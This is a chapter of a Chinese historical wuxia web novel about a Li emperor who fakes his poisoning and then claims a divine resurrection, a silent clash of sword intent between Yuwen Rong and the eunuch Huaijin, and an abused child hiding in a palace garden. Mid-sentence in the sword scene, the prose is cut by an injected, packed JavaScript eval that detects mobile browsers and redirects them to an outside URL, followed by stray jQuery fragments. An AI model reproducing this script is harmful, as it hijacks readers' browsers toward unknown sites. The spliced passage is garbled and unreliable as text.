66.剑意

作品:《《秋月寒江》金陵篇

    离帝萧骋“中毒驾崩”的消息,伴随着悲愤的讣告与誓师复仇的檄文,以最快的速度传遍各国,并像野火般烧向梁国边境。


    檄文笔锋如刀,直指梁帝:“梁帝刘云磬阴遣豺狼,暗投鸠毒,戕害君父于宫闱禁地!此仇不共戴天,此恨倾江难洗!离国上下,无论军民,当衔哀奋威,秣马厉兵,誓诛元凶,以慰陛下在天之灵!”


    边境线上,离军巡逻骤然频繁,小股骑兵越境挑衅、滋扰边民的事件激增,烽燧不时燃起示警的狼烟。


    离军将领群情激愤,声称要为蒙难的陛下复仇,战鼓之声隐隐可闻。


    靖王捏着军报,眉头深锁。中毒?驾崩?死在御膳房的暗算下?那家伙平素吃饭,比炼丹的道士还要小心,每道菜至少试毒三次,定不会栽在这种手段上。他为什么这样做?


    难道是在保靖王府?用这种极端的方式,加剧梁离矛盾,将天下人的目光引向边境大战,从而让梁帝暂时无法、也不敢轻易对北境下手?甚至,可能希望靖王府在压力下,不得不与离国形成某种默契或联动?


    “传令!”靖王霍然起身,“北境全线进入最高戒备。各关隘守将,无本王亲笔钧令,一兵一卒不得擅出!严查边境往来,尤其是可疑的离国商旅、流民。再有敢言主动出击或与离国私下交通者,军法处置!”


    金陵,御书房。


    “无耻之尤!”离帝从牙缝里挤出几个字,“萧骋这个疯子!朕还未追究他撺掇刘戍、祸乱翰林院之罪,他竟敢反咬一口,编排出如此拙劣的借口!”


    怀恩躬身立在下方,大气不敢出。


    “御膳房下毒?致使驾崩?”梁帝气极反笑,“他萧骋的命若这般好取,朕何须等到今日!这般漏洞百出的栽赃,他当真以为天下人都是瞎子傻子吗?!”


    然而,愤怒之后,是冰冷的清醒。梁帝深知,两国博弈,尤其是舆论战,往往不需要完美的真相,只需要一个能点燃情绪、凝聚力量的“事实”。


    梁帝思量片刻,冷声道,“拟国书,措辞要强硬!斥其无端构陷,编造谎言,挑衅边陲,破坏邦交。将翰林院缴获的、带有离国工艺痕迹的箭矢、毒药残留,作为他们先行不义的证据,连同国书,公示天下!另,命鸿胪寺联络诸国、南方蕃部,陈明利害,勿要听信离国一面之词。”


    他要反将一军,不让萧骋牵着鼻子走。


    然而,就在梁国的国书刚刚送出,边境对峙气氛凝重之际,又一则石破天惊的消息从离国传来。


    离帝复活了。


    不仅复活,还带回了天旨。


    消息称,离帝萧骋弥留之际,魂游太虚,得见昊天金阙玉皇大帝。玉帝震怒于梁国无道,毒害天命之子,特赐仙丹救命,并亲口谕示:“尔天命所归,未竟一统神州之大业,速返阳间,振兴离国,涤荡寰宇!”


    于是,离帝在朝臣百姓的哭嚎声中,于停灵的第七日,骤然苏醒,且精神矍铄,更胜往昔。他当即召集百官,宣布玉帝旨意,并雷厉风行地以“不信天命、心怀怨望、与梁国暗中勾结”等罪名,将朝中一批早已看不顺眼、或权势过重的宗室、将领、文臣,迅速下狱、诛杀、流放。血雨腥风,笼罩离都。


    此举之荒谬绝伦,令稍有见识之人瞠目结舌。


    但在离帝铁腕清洗、强力宣传与刻意引导之下,“陛下受命于天”、“真龙不死”的神话迅速在离国民间流传开来,甚至激起了一股狂热的崇拜与必胜信念。


    梁帝听完怀恩的禀报,沉默了许久。


    殿内烛火摇曳,映着他晦明不定的脸。


    终于,他发出一声意味不明的嗤笑,笑声在空旷的殿宇中带着一丝冰冷的回响。


    “萧骋啊萧骋,”他低语,像是对着虚空中的对手说话,“装神弄鬼,弑臣立威……你究竟想做什么?”


    是真的借此机会清洗内部,巩固权力?还是为即将到来的更大规模的战争做动员?或者,两者皆有?这套“天命归来”的把戏虽然拙劣,但在愚弄百姓、凝聚民心上,或许真有奇效。一个死而复生、受命于天的君主,其权威和号召力,将达到一个可怕的高度。


    “陛下,离国此举,实乃亵渎天威,惑乱人心!吾国是否要予以驳斥?”有大臣愤然道。


    梁帝抬手制止,眼神幽深:“驳斥?如何驳斥?与他争辩玉皇大帝是否存在?是否给他托梦?”他摇了摇头,嘴角噙着一丝冷酷的算计,“他越是这样荒诞疯狂,我们越要显得沉稳从容,有理有据。”


    他顿了顿,下达两道旨意:


    “其一,将离帝死而复生、天旨托梦之事,连同他大肆诛杀臣僚的详情,巧妙散布出去。尤其是要让北漠那些首领知道,他们的盟友是个何等狂悖不信、残暴嗜杀之人。”


    “其二,命靖王府加强边境军备,严防离国借‘天意’为名,发动突然袭击。告诉将士们,敌酋装神弄鬼,实乃心虚弱,我军以正治国,以诚待民,邪不压正。”


    “另外,”梁帝的目光锐利起来,“让怀瑾把这些风风雨雨,都说给戎儿听听。”


    德泽殿,西殿。


    午时的阳光正好,斜斜地穿过西窗的冰裂纹窗格,在青砖地上切割出明暗交错的几何光影。窗边那盆瘦竹栽在素白的钧窑盆里,枝叶疏朗,被宇文戎握在右手中,左手执一把细长的银剪。


    他静静地听完怀瑾告知的消息。


    剪刃悬在枯黄叶梢上方三寸,凝住不动。


    怀瑾垂手站在惯常的位置——既不远到显得疏离,也不近到令人不适。他的目光落在宇文戎的背影上,那身月白素袍在午后的光里泛着柔和的冷光,肩胛骨的轮廓清晰可见,瘦削得像随时会刺破衣料。


    起风了。


    不知从哪个窗隙钻进来的穿堂风,忽然拂动了殿内的纱幔,也拂动了宇文戎鬓边散落的几缕发丝。风掠过竹叶,发出极轻微的沙沙声。


    就是这一刹那——


    怀瑾的瞳孔骤然收缩。


    那不是风动,也不是竹动。


    是剑意。


    一股凌厉、冰冷、却又缥缈得几乎抓不住的剑意,如同潜藏在深潭底部的寒流,骤然涌起。它借着风势攀爬,借着光影流转,从宇文戎挺直的脊背、从微微绷紧的肩线、从握着银剪的左手腕骨无声无息地弥散开来。


    怀瑾体内真气本能地流转起来。


    他是宫中顶尖的高手之一,数十年的修为让他的身体比意识更快反应,真气自丹田升起,沿着经脉悄无声息地布于体表,形成一层薄而坚韧的无形护盾。


    这不是戒备,也不是敌意。纯粹是武者面对同等级威胁时的本能。


    两股气息在空气中相触。


    没有声音,没有碰撞,甚至没有激起一丝尘埃。但怀瑾分明感觉到,自己的护身真气像被最锋利的针尖轻轻刺了一下,不痛,却寒到了骨髓里。


    那剑意一触即收。


    快得像从未出现过。


    宇文戎的左手在这时动了。手腕轻轻一转,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199782|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    银剪落下,“咔嚓”一声轻响。


    一截枯枝应声而断,掉落在铺着素色锦布的窗台上。


    断口平整,如被利刃削过。


    宇文戎放下银剪,将竹盆轻轻挪回窗台原处,动作细致得像在摆放祭品。然后他转过身,从怀瑾身侧走过,袍角拂过地面,带起极轻的微风。


    他径直在书案后坐下,铺开一卷未写完的《大梁边境风物考》稿纸,研墨,提笔。


    狼毫笔尖悬在纸上,一滴浓墨将落未落。


    怀瑾依旧站在原地,垂着眼,仿佛刚才那瞬间的交锋从未发生。


    殿内恢复了寂静,只有笔尖划过宣纸的沙沙声,均匀,平稳,听不出丝毫波澜。


    阳光继续移动,将宇文戎的影子投在身后的墙上,拉得很长。


    他一个字也没有说。


    但怀瑾知道,方才那一瞬间的剑意,那一截被精准截断的枯枝,还有此刻这沉默书写的身影,都是回答。


    一种比任何言语都更锋利、也更沉重的回答。


    次日晨省之后,宇文戎从紫宸殿退出,沿着宫中规定的路径返回德泽殿。怀瑾如影随形地跟在身后三步处,步履无声。


    穿过御花园西侧月洞门时,一阵压抑的、细弱的啜泣声,从假山石后飘了出来。


    怀瑾的脚步几不可察地顿了一下。


    宇文戎也听见了。


    他停下,目光投向那片嶙峋的太湖石。哭声是从最深处、最隐蔽的缝隙里传出来的,像受伤的小兽在洞穴里呜咽,充满了无助和恐惧。


    “公子,该回了。”怀瑾低声提醒,语气平静无波,“瑾太妃宫里的事,不宜过问。”


    宇文戎知道怀瑾说得对。


    裕王被废后,其妻被遣返母家。他们的幼子刘喆降等袭爵为安平侯,由以严厉刻板著称的瑾太妃抚养。这个封号本身就是讽刺,一个被圈禁在深宫、时刻提醒着自己罪孽的孩子,何来安宁太平?


    他听过一些零碎的传闻:瑾太妃笃信苦难净罪,对这孩子极为严苛,动辄罚跪、戒尺打手,衣食供给也卡在最苛刻的线上。


    那哭声,应该是那个孩子的。


    宇文戎沉默地站了片刻。


    怀瑾以为他会转身离开——这是最明智、最安全的选择。在这宫里,多看一眼都是罪过,何况是插手太妃宫里的事。


    但宇文戎没有走。


    他迈步,朝着假山走去。


    怀瑾的眉头几不可察地蹙了一下,但立刻恢复平静,跟了上去。他不能阻拦,只能将一切看在眼里,记在心里。


    假山深处,一个瘦小的身影蜷缩在阴影里。


    孩子穿着不合身的侯爵礼服——青灰色的绸缎,绣着黯淡的纹样,袖口和衣摆都长出一大截,拖在地上,沾满了泥土和草屑。他抱着膝盖,脸埋在臂弯里,肩膀一抽一抽的,哭声压抑而破碎。


    他的左手手背上,有一道鲜红的、微微肿起的印子,像是被戒尺狠狠抽打过。


    宇文戎在他面前三步处停下。


    孩子听见脚步声,吓得浑身一抖,猛地抬起头。


    那是一张过分苍白的小脸,眼睛红肿,脸颊上还挂着泪痕,嘴唇因为恐惧而微微颤抖。他看到宇文戎的月白素袍和那张平静的脸,以及身后沉默如石的怀瑾,更加惊恐地向后缩了缩,几乎要嵌进石头缝里。


    “我、我不是故意偷糕点吃的……”孩子带着哭腔辩解,声音细若蚊蚋,“我只是……只是太饿了……”